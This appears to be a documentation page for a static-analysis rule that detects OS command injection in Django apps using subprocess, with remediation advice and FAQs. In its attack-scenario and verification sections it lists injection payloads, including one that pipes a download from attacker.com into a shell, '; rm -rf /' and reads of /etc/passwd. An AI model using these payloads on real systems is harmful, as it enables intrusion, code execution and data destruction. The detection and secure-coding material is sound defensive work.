Django Command Injection via subprocess

CRITICAL

User input flows to subprocess with shell=True or as a string command, enabling OS command injection.

Rule Information

Language
Python
Category
Django
Author
Shivasurya
Shivasurya
Last Updated
2026-03-22
Tags
pythondjangocommand-injectionsubprocessshelltaint-analysisinter-proceduralCWE-78OWASP-A03
CWE References

Interactive Playground

Experiment with the vulnerable code and security rule below. Edit the code to see how the rule detects different vulnerability patterns.

pathfinder scan --ruleset python/PYTHON-DJANGO-SEC-011 --project .
1
2
3
4
5
6
7
8
9
10
11
12
13
14
rule.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44

About This Rule

Understanding the vulnerability and how it is detected

This rule detects OS command injection vulnerabilities in Django applications where untrusted user input from HTTP request parameters flows into subprocess module calls (subprocess.run(), subprocess.call(), subprocess.Popen(), subprocess.check_output()) either as a string command argument or within a list when shell=True is used.

The subprocess module is safer than os.system() when used correctly with a list of arguments and shell=False (the default). However, two patterns re-introduce shell injection risk: (1) passing a string command argument which causes shell interpretation even without explicit shell=True, and (2) using shell=True with any string that contains user-controlled data.

This rule tracks user input flowing to subprocess calls and flags cases where the risk of shell injection exists, distinguishing between the safe list pattern and the unsafe string/shell=True patterns.

Security Implications

Potential attack scenarios if this vulnerability is exploited

1

Shell Injection via String Command

Passing a string to subprocess.run() without explicit shell=False does not guarantee safety -- if the string contains shell metacharacters, they will be interpreted. When user input is concatenated into the string, attackers can inject semicolons, pipes, or $() to execute additional commands.

2

Explicit Shell Injection via shell=True

subprocess.run(f"command {user_input}", shell=True) is equivalent to passing the command to /bin/sh. Any shell metacharacters in user_input will be interpreted. Common payloads include '; rm -rf /', '$(curl attacker.com | sh)', and '`cat /etc/passwd`'.

3

Argument Injection in List Mode

Even when using a list with shell=False, user-controlled list elements that are interpreted as flags by the target command can enable argument injection. For example, passing '-rf' as a filename argument to commands like rm, rsync, or wget can cause unintended behavior.

4

Process Privilege Escalation

If the Django process has any elevated privileges (setuid binaries accessible via subprocess, capabilities set on the process), command injection can be used to escalate privileges. Even without escalation, the application process user can typically read all application files, including secrets and database credentials.

How to Fix

Recommended remediation steps

  • 1Always use subprocess with a list of arguments and shell=False (the default) to prevent shell interpretation of metacharacters.
  • 2Never use shell=True when any part of the command string or argument list originates from user input.
  • 3Validate all user-provided arguments with strict regular expressions before including them in subprocess calls.
  • 4Prefix user-provided filename arguments with '--' to prevent them from being interpreted as flags by the target command.
  • 5Consider whether the subprocess call can be replaced entirely with a Python library that performs the same operation without invoking a shell.

Detection Scope

How Code Pathfinder analyzes your code for this vulnerability

This rule performs inter-procedural taint analysis with global scope. Sources include calls("request.GET.get"), calls("request.POST.get"), calls("request.GET.__getitem__"), calls("request.POST.__getitem__"), calls("request.body"), and calls("request.read"). Sinks are calls("subprocess.run"), calls("subprocess.call"), calls("subprocess.Popen"), and calls("subprocess.check_output") with tainted values in the command string or shell=True context (tracked via .tracks(0)). Sanitizers include shlex.quote() and strict regex validation patterns. The rule follows taint across file and function boundaries.

Compliance & Standards

Industry frameworks and regulations that require detection of this vulnerability

CWE Top 25
CWE-78 ranked #5 in 2023 Most Dangerous Software Weaknesses
OWASP Top 10
A03:2021 - Injection
PCI DSS v4.0
Requirement 6.2.4 - protect against injection attacks
NIST SP 800-53
SI-10: Information Input Validation
ISO 27001
A.14.2.5 - Secure system engineering principles

References

External resources and documentation

Similar Rules

Explore related security rules for Python

Frequently Asked Questions

Common questions about Django Command Injection via subprocess

subprocess is safe when you use a list argument with shell=False (the default). In this mode, the first list element is the executable and subsequent elements are arguments passed directly to execve() without shell interpretation. It is vulnerable when you use a string argument (shell is invoked automatically on some platforms) or when you use shell=True with any string containing user input.
shlex.quote() wraps a single string in single quotes with internal single quotes escaped, making it safe for use in shell commands. However, it must be applied correctly to each argument individually, and it only works for arguments -- command names themselves should come from an allowlist. Even with shlex.quote(), the preferred pattern is subprocess with a list and shell=False.
For piped commands, use subprocess.PIPE and chain subprocess calls rather than using shell=True. For example, instead of subprocess.run("cat file | grep pattern", shell=True), use two subprocess calls chained with stdout=subprocess.PIPE. This avoids shell interpretation while achieving the same result.
Yes. The rule traces taint from request parameters through string construction (concatenation, f-strings) and list construction to subprocess arguments. If user input ends up in any position of the list passed to subprocess and there is also a shell=True flag, the call is flagged. For list mode without shell=True, only findings where the user input is in the position of the executable (index 0) or where shell injection is possible are flagged.
No. Running system commands from a Django app is safe when done correctly. The key requirements are: (1) command names come from an allowlist, never user input, (2) arguments are validated with strict patterns before use, (3) subprocess is called with a list and shell=False, and (4) user input that must be used as an argument is prefixed with '--' to prevent flag injection. Following these rules allows legitimate use cases while preventing injection.
After fixing, re-run Code Pathfinder to confirm the finding is resolved. For manual verification, attempt injection payloads like '; id', '$(whoami)', and '| cat /etc/passwd' in the relevant input fields and verify they are treated as literal strings by the subprocess call rather than being interpreted by a shell.

New feature

Get these findings posted directly on your GitHub pull requests

The Django Command Injection via subprocess rule runs in CI and posts inline review comments on the exact lines — no dashboard, no SARIF viewer.

See how it works